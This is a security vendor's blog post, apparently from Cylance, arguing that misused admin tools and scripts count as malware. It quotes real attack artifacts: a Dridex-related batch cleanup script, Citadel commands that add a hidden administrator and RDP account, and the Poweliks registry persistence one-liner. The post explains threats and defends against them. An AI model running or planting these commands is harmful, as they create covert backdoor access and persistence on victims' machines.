Mal(icious soft)ware still used in 99.9% of attacks
Do us a favor please. Say the word “malware” out loud. Go ahead. We’ll wait.
I know many of us have very different definitions that can be confusing and downright conflicting. So much in fact that we feel a review might be an important way to understand the threats to your environment and how to prevent cyberattacks in a major way. In this first part of a two-part post, we will define malware, support our definition with some clear examples, and begin to show you how some vendors are addressing everything but the problem.
Let’s first define “Malware”
Our industry is fraught with misunderstandings and conflicting definitions, so a definition of “malware” is in order. “Malware” is a contraction of two words – malicious software. That is simple enough to understand, of course, but the complexity lies in the term’s inclusion of the word “software”. We tend to think literally, and as such, we think of software as the instructions used to control hardware or related operating system functions. That isn’t to be confused with application programming interfaces (API’s) that are the protocols used to address predefined routines that control operating system functionality.
Maybe a few examples are useful. Software is essentially code that when executed – either in “run time” scripts, as “syntax” of scripted commands that tailor the execution of other programs, or as instructions included in packaged programs – produce intended behaviors on a computer. So backup software can either be simply a script that schedules a file system copy to a remote location or device, or it can be a compiled package of instructions with a user-friendly graphical user interface (GUI) that serves the same function – backing up data. An API on the other hand may be an object or routine that was previously defined and packaged so that when called it helps to make the syntax of software instructions more efficient; for example, by loading the ADVAPI32.DLL it is possible to harness Windows Kernel functionality from user-space without requiring the user to approve a NetScheduleJobAdd API call to schedule and run a remote backup job. The software when installed, or the script when implemented, has already been approved for execution. But, we’re getting ahead ourselves.
In past posts we at Cylance have discussed the concept that “malware doesn’t matter.” This discussion has centered around the rise of what we call “no-ware”. When broached, we provided a number of examples or demonstrations of where attackers have leveraged operating system or application vulnerabilities to exploit systems for controlled access and (mis)use without the use of traditional “malware”. But whether we call it malware, no-ware, script, software, PUP, or whatever – it actually doesn’t matter. Some kind of “malware” is almost always used – 99.9% of the time.
Administrative or hacking tools like PSEXEC, MSTSC, VNC, RAR, MetaSploit, CMD, xCMD, AT, SchTasks, Hyena, and ReDuh can all be considered legitimate tools, if used as such. However, if used “maliciously”, then they are malware, plain and simple. They are malicious software when used in a malicious manner, albeit built by Microsoft, VNC, Metasploit or any other trusted software vendor. No matter how legitimate a program or script may seem, it can still be a popular tool for attackers with illegitimate uses. For example, nearly every malware dropper or worm that spreads throughout a network uses the NetScheduleJobAdd API because it is a fundamental utility to many legitimate Windows (network) processes.
The term malware is almost completely inconsequential – as are the terms legitimate software, scripts, and API’s. We’ve worked with a lot of “malware” that is more efficient and productive than market products – and it is usually less expensive. Some clients utilize botnet and remote access trojans (RATs) in place of market tools precisely because of these reasons.
We have led or supported more than 500 crisis and incident response investigations in our careers, and in EVERY single case, some form of scripted or packaged software was used for designed malicious purposes. The vast majority of the software that was leveraged for malicious purposes were existing IT estate tools like PSEXEC, CMD, AT, MSTSC, VNC, Powershell and AutoIT, or potentially unwanted programs like xCMD, Daemon Tools, Dameware, NirSoft, MetaSploit, and gsecdump. It turns out that the minority were what is traditionally characterized as “malware”, such as Gh0St, Zeus and PoisonIvy, each of which we’ve seen or used for administrative, security program testing, or similar purposes. Preventing scripted or packaged software designed to cause harm, regardless of its original, legitimate purpose, is what Cylance’s artificial intelligence product does every day, every minute, without cloud lookups or signature updates.
Here’s a good example. The Haha.bat script was used to modify a Windows 7 computer to ensure that a Dridex botnet dropper would be permitted to install by creating application compatibility with the Operating System.
start C:\Users\dummy\AppData\Local\edgD53B.exe C:\Users\dummy\AppData\Local\Temp\1234567.exe
sdbinst /q /u "C:\Users\dummy\AppData\LocalLow\Haha.sdb"
reg delete "HKLM\SOFTWARE\Microsoft\Windows IT\CurrentVersion\AppCompatFlags\Custom\iscsicli.exe" /f
reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\Current Version\AppCompatFlags\InstalledSDB\{f48a3c52-7d48-462f-9957-ab255ddc987e}" /f
del C:\Windows\AppPatch\Custom\{f48a3c52-7d48-462f-9957-ab255ddc987e}.sdb
del %LOCALAPPDATA%Low\Haha.sdb
del %LOCALAPPDATA%Low\Haha.bat
Which is the malware? The Dridex botnet dropper or the Haha.bat script that leveraged available API’s to reconfigure the computer to be compatible? Actually both.
Here is another example. Citadel, a popular botnet tool a couple of years ago, was modified to harness a single existing Operating System tool (net.exe) in order to provide remote access to reconfigured computers. The Citadel dropper contained the following four operating system commands:
net user coresystem Lol117755C /add
net localgroup Administrators coresystem /add
net localgroup ‘Remote Desktop Users’ coresystem /add
net accounts /maxpwage:unlimited
The above commands cause a reconfiguration such that even if, or after, the Citadel dropper or related backdoor binaries were removed, the system could still be remotely accessed without any “malicious” software, as long as it was network accessible. Which is the malware, the Citadel binary or the instructions to create a persistent account and add it to the Administrators and RDP Users local groups? Again both.
Here’s one of our more recent favorites. Poweliks, another botnet dropper, uses a scripted instruction stored in the Windows registry (in a “NULL” value) by calling a known Windows API – ZwSetValueKey:
HKEY_CURRENT_USER\software\Microsoft\Windows\CurrentVersion\Run\
[]= “rundll32.exe javascript:”\..\mshtml,RunHTMLApplication “;document.write(“\74script language=jscript.encode>”+(new%20ActiveXObject(“WScript.Shell”)).RegRead(“HKCU\\software\\microsoft\\windows\\currentversion\\run\\”)+”\74/script>”)”
The scripted instructions leverage several Windows tools to create a launch point from the registry, and coincidentally, another registry entry, also in the \Run key, that stores malicious code as an encoded DLL file to be loaded by DLLHOST.EXE via the Autostart key. What is the malware? Of course the encoded DLL stored in the registry key – if you can recognize that it actually is a DLL. But the NULL key with instructions that auto-loads the DLL into a DLLHOST service is also malware.
There are too many Windows PowerShell and MetaSploit examples to articulate the ways that Windows WMI, Powershell, Wscript, JavaScript, VBScript, and .NET have been used for malicious purposes. In many cases, no “compiled” software is used. Instead ad-hoc function calls or programmed scripts have been used to achieve access and persistence, modify settings, gather information, and exfiltrate information, or even sometimes, destroy systems. Remember Shamoon in 2012:
Scripting attacks are malware by any definition and CylancePROTECT® prevents against these attacks as well.
We hope at this point, you have a clear understanding of exactly what malware is and see that what might not be considered or called malware by many vendors, is in fact, malware. Join us tomorrow for the second part of this blog post in which we hypothesize how the term “malwareless” may have come about, how it can be misleading, and of course, how Cylance can stop attacks that some other vendors consider to be “malwareless”. In the mean time, check out this video of CylancePROTECT blocking some "file-less malware attacks":
